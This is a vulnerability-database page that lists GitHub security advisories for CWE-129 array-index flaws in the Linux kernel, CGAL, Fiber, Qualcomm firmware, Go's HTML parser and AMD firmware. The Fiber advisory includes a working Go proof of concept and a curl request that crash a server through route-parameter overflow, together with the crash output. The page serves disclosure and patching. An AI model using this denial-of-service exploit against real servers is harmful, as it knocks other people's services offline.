CWE-129
AllowedImproper Validation of Array Index
Abstraction: Variant · Status: Draft
The product uses untrusted input when calculating or using an array index, but the product does not validate or incorrectly validates the index to ensure the index references a valid position within the array.
873 vulnerabilities reference this CWE, most recent first.
GHSA-MQVV-VJPM-CPRH
Vulnerability from github – Published: 2026-01-13 18:31 – Updated: 2026-10-15 03:35In the Linux kernel, the following vulnerability has been resolved:
net: rose: fix invalid array index in rose_kill_by_device()
rose_kill_by_device() collects sockets into a local array[] and then iterates over them to disconnect sockets bound to a device being brought down.
The loop mistakenly indexes array[cnt] instead of array[i]. For cnt < ARRAY_SIZE(array), this reads an uninitialized entry; for cnt == ARRAY_SIZE(array), it is an out-of-bounds read. Either case can lead to an invalid socket pointer dereference and also leaks references taken via sock_hold().
Fix the index to use i.
{
"affected": [],
"aliases": [
"CVE-2025-71086"
],
"database_specific": {
"cwe_ids": [
"CWE-129"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-13T16:16:08Z",
"severity": "HIGH"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: rose: fix invalid array index in rose_kill_by_device()\n\nrose_kill_by_device() collects sockets into a local array[] and then\niterates over them to disconnect sockets bound to a device being brought\ndown.\n\nThe loop mistakenly indexes array[cnt] instead of array[i]. For cnt \u003c\nARRAY_SIZE(array), this reads an uninitialized entry; for cnt ==\nARRAY_SIZE(array), it is an out-of-bounds read. Either case can lead to\nan invalid socket pointer dereference and also leaks references taken\nvia sock_hold().\n\nFix the index to use i.",
"id": "GHSA-mqvv-vjpm-cprh",
"modified": "2026-10-15T03:35:05Z",
"published": "2026-01-13T18:31:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71086"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-019113.html"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-457936.html"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/1418c12cd3bba79dc56b57b61c99efe40f579981"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/6595beb40fb0ec47223d3f6058ee40354694c8e4"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/819fb41ae54960f66025802400c9d3935eef4042"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/92d900aac3a5721fb54f3328f1e089b44a861c38"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/9f6185a32496834d6980b168cffcccc2d6b17280"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/b409ba9e1e63ccf3ab4cc061e33c1f804183543e"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/ed2639414d43ba037f798eaf619e878309310451"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MR55-PXWP-33RP
Vulnerability from github – Published: 2022-04-19 00:00 – Updated: 2022-04-24 00:00Multiple code execution vulnerabilities exists in the Nef polygon-parsing functionality of CGAL libcgal CGAL-5.1.1. A specially crafted malformed file can lead to an out-of-bounds read and type confusion, which could lead to code execution. An attacker can provide malicious input to trigger any of these vulnerabilities. An oob read vulnerability exists in Nef_S2/SNC_io_parser.h SNC_io_parser::read_vertex() vh->sfaces_last().
{
"affected": [],
"aliases": [
"CVE-2020-28617"
],
"database_specific": {
"cwe_ids": [
"CWE-125",
"CWE-129"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-04-18T17:15:00Z",
"severity": "HIGH"
},
"details": "Multiple code execution vulnerabilities exists in the Nef polygon-parsing functionality of CGAL libcgal CGAL-5.1.1. A specially crafted malformed file can lead to an out-of-bounds read and type confusion, which could lead to code execution. An attacker can provide malicious input to trigger any of these vulnerabilities. An oob read vulnerability exists in Nef_S2/SNC_io_parser.h SNC_io_parser\u003cEW\u003e::read_vertex() vh-\u003esfaces_last().",
"id": "GHSA-mr55-pxwp-33rp",
"modified": "2022-04-24T00:00:31Z",
"published": "2022-04-19T00:00:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-28617"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2022/12/msg00011.html"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202305-34"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2020-1225"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MR63-G7QQ-8778
Vulnerability from github – Published: 2022-05-24 19:03 – Updated: 2022-05-24 19:03There is an Improper Validation of Array Index vulnerability in Huawei Smartphone. Successful exploitation of this vulnerability may cause code to execute, thus obtaining system permissions.
{
"affected": [],
"aliases": [
"CVE-2021-22333"
],
"database_specific": {
"cwe_ids": [
"CWE-129"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-06-03T20:15:00Z",
"severity": "CRITICAL"
},
"details": "There is an Improper Validation of Array Index vulnerability in Huawei Smartphone. Successful exploitation of this vulnerability may cause code to execute, thus obtaining system permissions.",
"id": "GHSA-mr63-g7qq-8778",
"modified": "2022-05-24T19:03:56Z",
"published": "2022-05-24T19:03:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22333"
},
{
"type": "WEB",
"url": "https://consumer.huawei.com/en/support/bulletin/2021/4"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-MRQ8-RJMW-WPQ3
Vulnerability from github – Published: 2026-02-24 21:04 – Updated: 2026-02-27 20:33A denial of service vulnerability exists in Fiber v2 and v3 that allows remote attackers to crash the application by sending requests to routes with more than 30 parameters. The vulnerability results from missing validation during route registration combined with an unbounded array write during request matching.
Affected Versions
- Fiber v3.0.0-rc.3 and earlier v3 releases
- Fiber v2.52.10 and potentially all v2 releases (confirmed exploitable)
- Both versions share the same vulnerable routing implementation
Vulnerability Details
Root Cause
Both Fiber v2 and v3 define a fixed-size parameter array in ctx.go:
const maxParams = 30
type DefaultCtx struct {
values [maxParams]string // Fixed 30-element array
// ...
}
The router.go register() function accepts routes without validating parameter count. When a request matches a route exceeding 30 parameters, the code in path.go performs an unbounded write:
- v3:
path.go:514 - v2:
path.go:516
// path.go:514 - NO BOUNDS CHECKING
params[paramsIterator] = path[:i]
When paramsIterator >= 30, this triggers:
panic: runtime error: index out of range [30] with length 30
Attack Scenario
-
Application registers route with >30 parameters (e.g., via code or dynamic routing):
go app.Get("/api/:p1/:p2/:p3/.../p35", handler) -
Attacker sends matching HTTP request:
bash curl http://target/api/v1/v2/v3/.../v35 -
Server crashes during request processing with runtime panic
Proof of Concept
For Fiber v3
package main
import (
"fmt"
"net/http"
"time"
"github.com/gofiber/fiber/v3"
)
func main() {
app := fiber.New()
// Register route with 35 parameters (exceeds maxParams=30)
path := "/test"
for i := 1; i <= 35; i++ {
path += fmt.Sprintf("/:p%d", i)
}
fmt.Printf("Registering route: %s...\n", path[:50]+"...")
app.Get(path, func(c fiber.Ctx) error {
return c.SendString("Never reached")
})
fmt.Println("✓ Registration succeeded (NO PANIC)")
go func() {
app.Listen(":9999")
}()
time.Sleep(200 * time.Millisecond)
// Build exploit URL with 35 parameter values
url := "http://localhost:9999/test"
for i := 1; i <= 35; i++ {
url += fmt.Sprintf("/v%d", i)
}
fmt.Println("\n🔴 Sending exploit request...")
fmt.Println("Expected: panic at path.go:514 params[paramsIterator] = path[:i]\n")
resp, err := http.Get(url)
if err != nil {
fmt.Printf("✗ Request failed: %v\n", err)
fmt.Println("💥 Server crashed!")
} else {
fmt.Printf("Response: %d\n", resp.StatusCode)
resp.Body.Close()
}
}
Output:
Registering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10...
✓ Registration succeeded (NO PANIC)
🔴 Sending exploit request...
Expected: panic at path.go:514 params[paramsIterator] = path[:i]
panic: runtime error: index out of range [30] with length 30
goroutine 40 [running]:
github.com/gofiber/fiber/v3.(*routeParser).getMatch(...)
/path/to/fiber/path.go:514
github.com/gofiber/fiber/v3.(*Route).match(...)
/path/to/fiber/router.go:89
github.com/gofiber/fiber/v3.(*App).next(...)
/path/to/fiber/router.go:142
For Fiber v2
package main
import (
"fmt"
"net/http"
"time"
"github.com/gofiber/fiber/v2"
)
func main() {
app := fiber.New()
// Register route with 35 parameters (exceeds maxParams=30)
path := "/test"
for i := 1; i <= 35; i++ {
path += fmt.Sprintf("/:p%d", i)
}
fmt.Printf("Registering route: %s...\n", path[:50]+"...")
app.Get(path, func(c *fiber.Ctx) error {
return c.SendString("Never reached")
})
fmt.Println("✓ Registration succeeded (NO PANIC)")
go func() {
app.Listen(":9998")
}()
time.Sleep(200 * time.Millisecond)
// Build exploit URL with 35 parameter values
url := "http://localhost:9998/test"
for i := 1; i <= 35; i++ {
url += fmt.Sprintf("/v%d", i)
}
fmt.Println("\n🔴 Sending exploit request...")
fmt.Println("Expected: panic at path.go:516 params[paramsIterator] = path[:i]\n")
resp, err := http.Get(url)
if err != nil {
fmt.Printf("✗ Request failed: %v\n", err)
fmt.Println("💥 Server crashed!")
} else {
fmt.Printf("Response: %d\n", resp.StatusCode)
resp.Body.Close()
}
}
Output (v2):
Registering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10...
✓ Registration succeeded (NO PANIC)
🔴 Sending exploit request...
Expected: panic at path.go:516 params[paramsIterator] = path[:i]
panic: runtime error: index out of range [30] with length 30
goroutine 40 [running]:
github.com/gofiber/fiber/v2.(*routeParser).getMatch(...)
/path/to/fiber/v2@v2.52.10/path.go:512
github.com/gofiber/fiber/v2.(*Route).match(...)
/path/to/fiber/v2@v2.52.10/router.go:84
github.com/gofiber/fiber/v2.(*App).next(...)
/path/to/fiber/v2@v2.52.10/router.go:127
Impact
Exploitation Requirements
- No authentication required
- Single HTTP request triggers crash
- Trivially scriptable for sustained DoS
- Works against any route with >30 parameters
Real-World Impact
- Public APIs: Remote DoS attacks on vulnerable endpoints
- Microservices: Cascade failures if vulnerable service is critical
- Auto-scaling: Repeated crashes prevent proper recovery
- Monitoring: Log flooding and alert fatigue
Likelihood
HIGH - Exploitation requires only: - Knowledge of route structure (often public in APIs) - Standard HTTP client (curl, browser, etc.) - Single malformed request
Workarounds
Until patched, users should:
-
Audit Routes: Ensure all routes have ≤30 parameters
bash # Search for potential issues grep -r "/:.*/:.*/:.*" . | grep -v node_modules -
Disable Dynamic Routing: If programmatically registering routes, validate parameter count:
go paramCount := strings.Count(route, ":") if paramCount > 30 { log.Fatal("Route exceeds maxParams") } -
Rate Limiting: Deploy aggressive rate limiting to mitigate DoS impact
-
Monitoring: Alert on panic patterns in application logs
Timeline
- 2024-12-24: Vulnerability discovered in v3 during PR #3962 review
- 2024-12-25: Proof of concept confirmed exploitability in v3
- 2024-12-25: Vulnerability confirmed to also exist in v2 (same root cause)
- 2024-12-25: Security advisory created
References
- v3 Related PR: https://github.com/gofiber/fiber/pull/3962 (UpdateParam feature with defensive checks, doesn't fix root cause)
- Vulnerable Code Locations:
- v3: path.go:514
- v2: path.go:516
Credit
Discovered by: @sixcolors (Fiber maintainer) and @TheAspectDev
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/gofiber/fiber/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.52.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.0.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/gofiber/fiber/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25882"
],
"database_specific": {
"cwe_ids": [
"CWE-129"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-24T21:04:07Z",
"nvd_published_at": "2026-02-24T21:16:29Z",
"severity": "MODERATE"
},
"details": "A denial of service vulnerability exists in Fiber v2 and v3 that allows remote attackers to crash the application by sending requests to routes with more than 30 parameters. The vulnerability results from missing validation during route registration combined with an unbounded array write during request matching.\n\n## Affected Versions\n\n- **Fiber v3.0.0-rc.3** and earlier v3 releases\n- **Fiber v2.52.10** and potentially all v2 releases (confirmed exploitable)\n- Both versions share the same vulnerable routing implementation\n\n## Vulnerability Details\n\n### Root Cause\n\nBoth Fiber v2 and v3 define a fixed-size parameter array in `ctx.go`:\n\n```go\nconst maxParams = 30\n\ntype DefaultCtx struct {\n values [maxParams]string // Fixed 30-element array\n // ...\n}\n```\n\nThe `router.go` `register()` function accepts routes without validating parameter count. When a request matches a route exceeding 30 parameters, the code in `path.go` performs an unbounded write:\n\n- **v3**: `path.go:514`\n- **v2**: `path.go:516`\n\n```go\n// path.go:514 - NO BOUNDS CHECKING\nparams[paramsIterator] = path[:i]\n```\n\nWhen `paramsIterator \u003e= 30`, this triggers:\n```\npanic: runtime error: index out of range [30] with length 30\n```\n\n### Attack Scenario\n\n1. Application registers route with \u003e30 parameters (e.g., via code or dynamic routing):\n ```go\n app.Get(\"/api/:p1/:p2/:p3/.../p35\", handler)\n ```\n\n2. Attacker sends matching HTTP request:\n ```bash\n curl http://target/api/v1/v2/v3/.../v35\n ```\n\n3. Server crashes during request processing with runtime panic\n\n## Proof of Concept\n\n### For Fiber v3\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"time\"\n\t\"github.com/gofiber/fiber/v3\"\n)\n\nfunc main() {\n\tapp := fiber.New()\n\t\n\t// Register route with 35 parameters (exceeds maxParams=30)\n\tpath := \"/test\"\n\tfor i := 1; i \u003c= 35; i++ {\n\t\tpath += fmt.Sprintf(\"/:p%d\", i)\n\t}\n\t\n\tfmt.Printf(\"Registering route: %s...\\n\", path[:50]+\"...\")\n\tapp.Get(path, func(c fiber.Ctx) error {\n\t\treturn c.SendString(\"Never reached\")\n\t})\n\tfmt.Println(\"\u2713 Registration succeeded (NO PANIC)\")\n\t\n\tgo func() {\n\t\tapp.Listen(\":9999\")\n\t}()\n\ttime.Sleep(200 * time.Millisecond)\n\t\n\t// Build exploit URL with 35 parameter values\n\turl := \"http://localhost:9999/test\"\n\tfor i := 1; i \u003c= 35; i++ {\n\t\turl += fmt.Sprintf(\"/v%d\", i)\n\t}\n\t\n\tfmt.Println(\"\\n\ud83d\udd34 Sending exploit request...\")\n\tfmt.Println(\"Expected: panic at path.go:514 params[paramsIterator] = path[:i]\\n\")\n\t\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\tfmt.Printf(\"\u2717 Request failed: %v\\n\", err)\n\t\tfmt.Println(\"\ud83d\udca5 Server crashed!\")\n\t} else {\n\t\tfmt.Printf(\"Response: %d\\n\", resp.StatusCode)\n\t\tresp.Body.Close()\n\t}\n}\n```\n\n**Output:**\n```\nRegistering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10...\n\u2713 Registration succeeded (NO PANIC)\n\n\ud83d\udd34 Sending exploit request...\nExpected: panic at path.go:514 params[paramsIterator] = path[:i]\n\npanic: runtime error: index out of range [30] with length 30\n\ngoroutine 40 [running]:\ngithub.com/gofiber/fiber/v3.(*routeParser).getMatch(...)\n\t/path/to/fiber/path.go:514\ngithub.com/gofiber/fiber/v3.(*Route).match(...)\n\t/path/to/fiber/router.go:89\ngithub.com/gofiber/fiber/v3.(*App).next(...)\n\t/path/to/fiber/router.go:142\n```\n\n### For Fiber v2\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"time\"\n\t\"github.com/gofiber/fiber/v2\"\n)\n\nfunc main() {\n\tapp := fiber.New()\n\t\n\t// Register route with 35 parameters (exceeds maxParams=30)\n\tpath := \"/test\"\n\tfor i := 1; i \u003c= 35; i++ {\n\t\tpath += fmt.Sprintf(\"/:p%d\", i)\n\t}\n\t\n\tfmt.Printf(\"Registering route: %s...\\n\", path[:50]+\"...\")\n\tapp.Get(path, func(c *fiber.Ctx) error {\n\t\treturn c.SendString(\"Never reached\")\n\t})\n\tfmt.Println(\"\u2713 Registration succeeded (NO PANIC)\")\n\t\n\tgo func() {\n\t\tapp.Listen(\":9998\")\n\t}()\n\ttime.Sleep(200 * time.Millisecond)\n\t\n\t// Build exploit URL with 35 parameter values\n\turl := \"http://localhost:9998/test\"\n\tfor i := 1; i \u003c= 35; i++ {\n\t\turl += fmt.Sprintf(\"/v%d\", i)\n\t}\n\t\n\tfmt.Println(\"\\n\ud83d\udd34 Sending exploit request...\")\n\tfmt.Println(\"Expected: panic at path.go:516 params[paramsIterator] = path[:i]\\n\")\n\t\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\tfmt.Printf(\"\u2717 Request failed: %v\\n\", err)\n\t\tfmt.Println(\"\ud83d\udca5 Server crashed!\")\n\t} else {\n\t\tfmt.Printf(\"Response: %d\\n\", resp.StatusCode)\n\t\tresp.Body.Close()\n\t}\n}\n```\n\n**Output (v2):**\n```\nRegistering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10...\n\u2713 Registration succeeded (NO PANIC)\n\n\ud83d\udd34 Sending exploit request...\nExpected: panic at path.go:516 params[paramsIterator] = path[:i]\n\npanic: runtime error: index out of range [30] with length 30\n\ngoroutine 40 [running]:\ngithub.com/gofiber/fiber/v2.(*routeParser).getMatch(...)\n\t/path/to/fiber/v2@v2.52.10/path.go:512\ngithub.com/gofiber/fiber/v2.(*Route).match(...)\n\t/path/to/fiber/v2@v2.52.10/router.go:84\ngithub.com/gofiber/fiber/v2.(*App).next(...)\n\t/path/to/fiber/v2@v2.52.10/router.go:127\n```\n\n## Impact\n\n### Exploitation Requirements\n- No authentication required\n- Single HTTP request triggers crash\n- Trivially scriptable for sustained DoS\n- Works against any route with \u003e30 parameters\n\n### Real-World Impact\n- **Public APIs**: Remote DoS attacks on vulnerable endpoints\n- **Microservices**: Cascade failures if vulnerable service is critical\n- **Auto-scaling**: Repeated crashes prevent proper recovery\n- **Monitoring**: Log flooding and alert fatigue\n\n### Likelihood\n**HIGH** - Exploitation requires only:\n- Knowledge of route structure (often public in APIs)\n- Standard HTTP client (curl, browser, etc.)\n- Single malformed request\n\n## Workarounds\n\nUntil patched, users should:\n\n1. **Audit Routes**: Ensure all routes have \u226430 parameters\n ```bash\n # Search for potential issues\n grep -r \"/:.*/:.*/:.*\" . | grep -v node_modules\n ```\n\n2. **Disable Dynamic Routing**: If programmatically registering routes, validate parameter count:\n ```go\n paramCount := strings.Count(route, \":\")\n if paramCount \u003e 30 {\n log.Fatal(\"Route exceeds maxParams\")\n }\n ```\n\n3. **Rate Limiting**: Deploy aggressive rate limiting to mitigate DoS impact\n\n4. **Monitoring**: Alert on panic patterns in application logs\n\n## Timeline\n\n- **2024-12-24**: Vulnerability discovered in v3 during PR #3962 review\n- **2024-12-25**: Proof of concept confirmed exploitability in v3\n- **2024-12-25**: Vulnerability confirmed to also exist in v2 (same root cause)\n- **2024-12-25**: Security advisory created\n\n## References\n\n- **v3 Related PR**: https://github.com/gofiber/fiber/pull/3962 (UpdateParam feature with defensive checks, doesn\u0027t fix root cause)\n- **Vulnerable Code Locations**:\n - v3: [path.go:514](https://github.com/gofiber/fiber/blob/main/path.go#L514)\n - v2: [path.go:516](https://github.com/gofiber/fiber/blob/v2/path.go#L516)\n\n## Credit\n\n**Discovered by:** @sixcolors (Fiber maintainer) and @TheAspectDev",
"id": "GHSA-mrq8-rjmw-wpq3",
"modified": "2026-02-27T20:33:49Z",
"published": "2026-02-24T21:04:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gofiber/fiber/security/advisories/GHSA-mrq8-rjmw-wpq3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25882"
},
{
"type": "WEB",
"url": "https://github.com/gofiber/fiber/pull/3962"
},
{
"type": "PACKAGE",
"url": "https://github.com/gofiber/fiber"
},
{
"type": "WEB",
"url": "https://github.com/gofiber/fiber/blob/main/path.go#L514"
},
{
"type": "WEB",
"url": "https://github.com/gofiber/fiber/blob/v2/path.go#L516"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2026-4543"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Fiber has a Denial of Service Vulnerability via Route Parameter Overflow"
}
GHSA-MV36-R2FV-FXQH
Vulnerability from github – Published: 2022-05-24 16:51 – Updated: 2024-04-04 01:22Data token is received from ADSP and is used without validation as an index into the array leads to out of bound access in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Mobile, Snapdragon Voice & Music, Snapdragon Wearables in MDM9150, MDM9206, MDM9607, MDM9640, MDM9650, MSM8909W, MSM8996AU, QCS405, QCS605, Qualcomm 215, SD 210/SD 212/SD 205, SD 425, SD 427, SD 430, SD 435, SD 439 / SD 429, SD 450, SD 625, SD 632, SD 636, SD 665, SD 675, SD 712 / SD 710 / SD 670, SD 730, SD 820, SD 820A, SD 835, SD 845 / SD 850, SD 855, SDA660, SDM439, SDM630, SDM660, SDX20, SDX24
{
"affected": [],
"aliases": [
"CVE-2019-2326"
],
"database_specific": {
"cwe_ids": [
"CWE-129"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-07-25T17:15:00Z",
"severity": "HIGH"
},
"details": "Data token is received from ADSP and is used without validation as an index into the array leads to out of bound access in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Mobile, Snapdragon Voice \u0026 Music, Snapdragon Wearables in MDM9150, MDM9206, MDM9607, MDM9640, MDM9650, MSM8909W, MSM8996AU, QCS405, QCS605, Qualcomm 215, SD 210/SD 212/SD 205, SD 425, SD 427, SD 430, SD 435, SD 439 / SD 429, SD 450, SD 625, SD 632, SD 636, SD 665, SD 675, SD 712 / SD 710 / SD 670, SD 730, SD 820, SD 820A, SD 835, SD 845 / SD 850, SD 855, SDA660, SDM439, SDM630, SDM660, SDX20, SDX24",
"id": "GHSA-mv36-r2fv-fxqh",
"modified": "2024-04-04T01:22:47Z",
"published": "2022-05-24T16:51:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-2326"
},
{
"type": "WEB",
"url": "https://www.codeaurora.org/security-bulletin/2019/07/01/july-2019-code-aurora-security-bulletin"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MV5H-2R7F-F86H
Vulnerability from github – Published: 2023-09-05 09:30 – Updated: 2024-04-04 07:27Memory corruption in WLAN HAL while processing Tx/Rx commands from QDART.
{
"affected": [],
"aliases": [
"CVE-2023-28548"
],
"database_specific": {
"cwe_ids": [
"CWE-129"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-09-05T07:15:13Z",
"severity": "HIGH"
},
"details": "Memory corruption in WLAN HAL while processing Tx/Rx commands from QDART.",
"id": "GHSA-mv5h-2r7f-f86h",
"modified": "2024-04-04T07:27:35Z",
"published": "2023-09-05T09:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28548"
},
{
"type": "WEB",
"url": "https://www.qualcomm.com/company/product-security/bulletins/september-2023-bulletin"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MV93-WVCP-7M7R
Vulnerability from github – Published: 2022-05-13 01:26 – Updated: 2024-05-20 21:13The html package (aka x/net/html) through 2018-09-25 in Go mishandles , leading to a "panic: runtime error" (index out of range) in (*insertionModeStack).pop in node.go, called from inHeadIM, during an html.Parse call.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "golang.org/x/net"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20190125002852-4b62a64f59f7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-17848"
],
"database_specific": {
"cwe_ids": [
"CWE-129"
],
"github_reviewed": true,
"github_reviewed_at": "2023-02-08T00:34:13Z",
"nvd_published_at": "2018-10-01T08:29:00Z",
"severity": "HIGH"
},
"details": "The html package (aka `x/net/html`) through 2018-09-25 in Go mishandles \u003cmath\u003e\u003ctemplate\u003e\u003cmn\u003e\u003cb\u003e\u003c/template\u003e, leading to a \"panic: runtime error\" (index out of range) in (*insertionModeStack).pop in node.go, called from inHeadIM, during an html.Parse call.",
"id": "GHSA-mv93-wvcp-7m7r",
"modified": "2024-05-20T21:13:57Z",
"published": "2022-05-13T01:26:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-17848"
},
{
"type": "WEB",
"url": "https://github.com/golang/go/issues/27846"
},
{
"type": "WEB",
"url": "https://go.dev/cl/159397"
},
{
"type": "WEB",
"url": "https://go.dev/issue/27846"
},
{
"type": "WEB",
"url": "https://go.googlesource.com/net/+/4b62a64f59f73840b9ab79204c94fee61cd1ba2c"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/LREEWY6KNLHRWFZ7OT4HVLMVVCGGUHON"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UKRCI7WIOCOCD3H7NXWRGIRABTQOZOBK"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2022-0197"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "golang.org/x/net/html Improper Validation of Array Index vulnerability"
}
GHSA-MW9Q-G6CF-HFC4
Vulnerability from github – Published: 2024-08-13 18:31 – Updated: 2024-08-13 18:31Improper validation of array index in Power Management Firmware (PMFW) may allow a privileged attacker to cause an out-of-bounds memory read within PMFW, potentially leading to a denial of service.
{
"affected": [],
"aliases": [
"CVE-2023-31307"
],
"database_specific": {
"cwe_ids": [
"CWE-129"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-13T17:15:20Z",
"severity": "LOW"
},
"details": "Improper validation of array index in Power Management Firmware (PMFW) may allow a privileged attacker to cause an out-of-bounds memory read within PMFW, potentially leading to a denial of service.",
"id": "GHSA-mw9q-g6cf-hfc4",
"modified": "2024-08-13T18:31:15Z",
"published": "2024-08-13T18:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-31307"
},
{
"type": "WEB",
"url": "https://www.amd.com/en/resources/product-security/bulletin/amd-sb-6005.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-MWJ6-9JPH-6QP6
Vulnerability from github – Published: 2026-07-25 12:31 – Updated: 2026-08-13 18:31In the Linux kernel, the following vulnerability has been resolved:
Input: iforce - bound the device-reported force-feedback effect index
iforce_process_packet() handles a status report (packet id 0x02) by taking a force-feedback effect index straight from the device wire and using it to address the per-effect state array:
i = data[1] & 0x7f;
if (data[1] & 0x80) {
if (!test_and_set_bit(FF_CORE_IS_PLAYED,
iforce->core_effects[i].flags))
...
} else if (test_and_clear_bit(FF_CORE_IS_PLAYED,
iforce->core_effects[i].flags)) {
...
}
The index is masked only with 0x7f, so it ranges 0..127, but core_effects[] holds only IFORCE_EFFECTS_MAX (32) entries. For an index of 32..127 the test_and_set_bit()/test_and_clear_bit() is an out-of-bounds single-bit read-modify-write past the array. core_effects[] is the second-to-last member of struct iforce, so the write lands in the trailing members and beyond the embedding kzalloc()'d iforce_serio / iforce_usb object.
data[1] is unvalidated device payload on both transports (the USB interrupt endpoint and serio), and the status path is not gated on force feedback being present, so a malicious or counterfeit device can set or clear a bit at an attacker-chosen offset past the object.
Reject an out-of-range index instead of indexing with it. Bound against the array dimension IFORCE_EFFECTS_MAX rather than dev->ff->max_effects so the check guarantees memory safety regardless of how many effects the device registered. A legitimate "effect started/stopped" status always carries an index below IFORCE_EFFECTS_MAX, so well-formed devices are unaffected; the neighbouring mark_core_as_ready() loop is already bounded and is left untouched.
{
"affected": [],
"aliases": [
"CVE-2026-64273"
],
"database_specific": {
"cwe_ids": [
"CWE-129"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-25T10:17:07Z",
"severity": "HIGH"
},
